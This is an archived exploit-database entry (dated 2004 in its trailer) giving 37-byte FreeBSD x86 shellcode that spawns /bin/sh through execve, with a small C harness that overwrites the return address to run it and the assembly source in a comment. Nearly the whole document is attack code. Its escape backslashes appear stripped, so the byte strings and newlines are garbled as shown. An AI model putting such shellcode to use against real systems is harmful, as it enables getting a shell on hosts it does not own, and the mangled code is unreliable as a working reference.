https://www.exploit-db.com/exploits/13274

漏洞细节尚未披露

/* This is FreeBSD execve() code.It is 37 bytes long.I'll try to make it *
 * smaller.Till then use this one.                                       *
 *                                       signed predator                 *
 *                                       preedator(at)sendmail(dot)ru    *
 *************************************************************************/

char FreeBSD_code[]=
"xebx17x5bx31xc0x88x43x07x89x5bx08x89x43x0cx50x8d"
"x53x08x52x53xb0x3bx50xcdx80xe8xe4xffxffxff/bin/sh";

int main(){
 int *ret=(int *)(&ret+2);
 printf("len : %dn",strlen(FreeBSD_code));
 *ret=(int)FreeBSD_code;
}

/*****************************************
 *int main(){                            *
 *   __asm__("jmp  callme         n"    *
 *           "jmpme:              n"    *
 *           "pop %ebx            n"    *
 *           "xorl %eax,%eax      n"    *
 *           "movb %al,0x7(%ebx)  n"    *
 *           "movl %ebx,0x8(%ebx) n"    *
 *	     "movl %eax,0xc(%ebx) n"    *
 *           "push %eax           n"    *
 *	     "leal 0x8(%ebx),%edx n"    *
 *	     "push %edx           n"    *
 *	     "push %ebx           n"    *
 *	     "movb $0x3b,%al      n"    *
 *           "push %eax	          n"    *
 *           "int $0x80           n"    *
 *           "callme:	          n"    *
 *           "call jmpme          n"    *
 *           ".string "/bin/sh" n");  *
 *}                                      *
 *****************************************/

// milw0rm.com [2004-09-26]